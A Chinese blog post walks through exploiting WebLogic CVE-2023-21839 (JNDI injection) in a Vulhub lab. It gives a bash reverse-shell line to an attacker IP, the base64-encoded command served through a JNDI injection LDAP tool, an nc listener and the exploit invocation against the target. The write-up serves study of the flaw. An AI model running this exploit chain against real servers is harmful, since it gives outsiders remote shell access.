当前位置: 首页 > news >正文

WebLogic:CVE-2023-21839[JNDI注入]

原理

1、T3/IIOP协议支持 远程绑定对象 bind到服务端,而且可以通过lookup代码 c.lookup("xxxxxx"); 查看   
2、远程对象继承自OpaqueReference并lookup查看远程对象时,服务端会调用远程对象 getReferent 方法
3、由于 weblogic.deployment.jms.ForeignOpaqueReference继承自 OpaqueReference并实现getReferent方法,存在retVal = context.lookup (this.remoteJNDIName)实现,
所以能够通过RMI/LDAP远程协议进行远程命令执行

环境部署

1.进入靶场目录

cd /vulhub-master/weblogic/CVE-2023-21839

2.开启靶场【报错重启docker服务】

[root@localhost CVE-2023-21839]# docker-compose up -d
 
3.查看靶场端口

[root@localhost CVE-2023-21839]# docker ps

 4.访问靶场

192.168.10.5:7001

漏洞利用

 1.生成指定格式payload 

bash -i >& /dev/tcp/192.168.10.128/7777 0>&1

转换网站:Runtime.exec Payload Generater | AresX's Blog (ares-x.com)

2.kali启动LDAP服务器,指定payload。复制JDK连接地址
java -jar JNDI-Injection-Exploit-1.0.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEyOC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}"

3.kali监听本机 7777 端口

nc -lvp 7777

4.windows主机向漏洞服务器发送poc
CVE-2023-21839.exe -ip 192.168.10.5 -port 7001 -ldap ldap://192.168.10.128:1389/lodgjh

5.建立连接

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 鸿蒙HarmonyOS开发:@Observed装饰器和@ObjectLink装饰器:嵌套类对象属性变化
  • 在Python中创建和操作字典的全面指南
  • 【云原生】Helm来管理Kubernetes集群的详细使用方法与综合应用实战
  • 《看漫画学Python》全彩PDF教程,495页深度解析,零基础也能轻松上手!
  • Java中的SSL/TLS安全通信实现
  • 职场里有3个错觉,如果正好说中你,抓紧醒过来
  • 数据同步策略概览
  • 计算机网络-IGMP Snooping特性
  • python 参数输入
  • 【黄啊码】Gradio配合Openai接口实现机器人问答对话
  • JAR文件中混淆和加密class文件
  • Linux系统编程-多路IO套接字
  • GenAI 会消灭软件开发人员的工作吗?
  • Modbus通讯协议
  • linux top
  • 【159天】尚学堂高琪Java300集视频精华笔记(128)
  • 【Linux系统编程】快速查找errno错误码信息
  • Android 初级面试者拾遗(前台界面篇)之 Activity 和 Fragment
  • HTTP中的ETag在移动客户端的应用
  • Java 11 发布计划来了,已确定 3个 新特性!!
  • Linux编程学习笔记 | Linux多线程学习[2] - 线程的同步
  • MySQL常见的两种存储引擎:MyISAM与InnoDB的爱恨情仇
  • Promise面试题,控制异步流程
  • Python语法速览与机器学习开发环境搭建
  • rabbitmq延迟消息示例
  • React 快速上手 - 07 前端路由 react-router
  • Terraform入门 - 3. 变更基础设施
  • TypeScript实现数据结构(一)栈,队列,链表
  • vue自定义指令实现v-tap插件
  • 码农张的Bug人生 - 初来乍到
  • 少走弯路,给Java 1~5 年程序员的建议
  • 云栖大讲堂Java基础入门(三)- 阿里巴巴Java开发手册介绍
  • ​​​​​​​STM32通过SPI硬件读写W25Q64
  • ​【已解决】npm install​卡主不动的情况
  • ​字​节​一​面​
  • # 数仓建模:如何构建主题宽表模型?
  • #git 撤消对文件的更改
  • #pragma data_seg 共享数据区(转)
  • (1)(1.9) MSP (version 4.2)
  • (二)Kafka离线安装 - Zookeeper下载及安装
  • (二)丶RabbitMQ的六大核心
  • (六)库存超卖案例实战——使用mysql分布式锁解决“超卖”问题
  • (五)关系数据库标准语言SQL
  • (一)插入排序
  • (转)平衡树
  • .net core 6 redis操作类
  • .NET Reactor简单使用教程
  • .Net 执行Linux下多行shell命令方法
  • .NET多线程执行函数
  • .NET高级面试指南专题十一【 设计模式介绍,为什么要用设计模式】
  • .Net各种迷惑命名解释
  • .NET企业级应用架构设计系列之结尾篇
  • .NET运行机制
  • @Builder用法
  • @Valid和@NotNull字段校验使用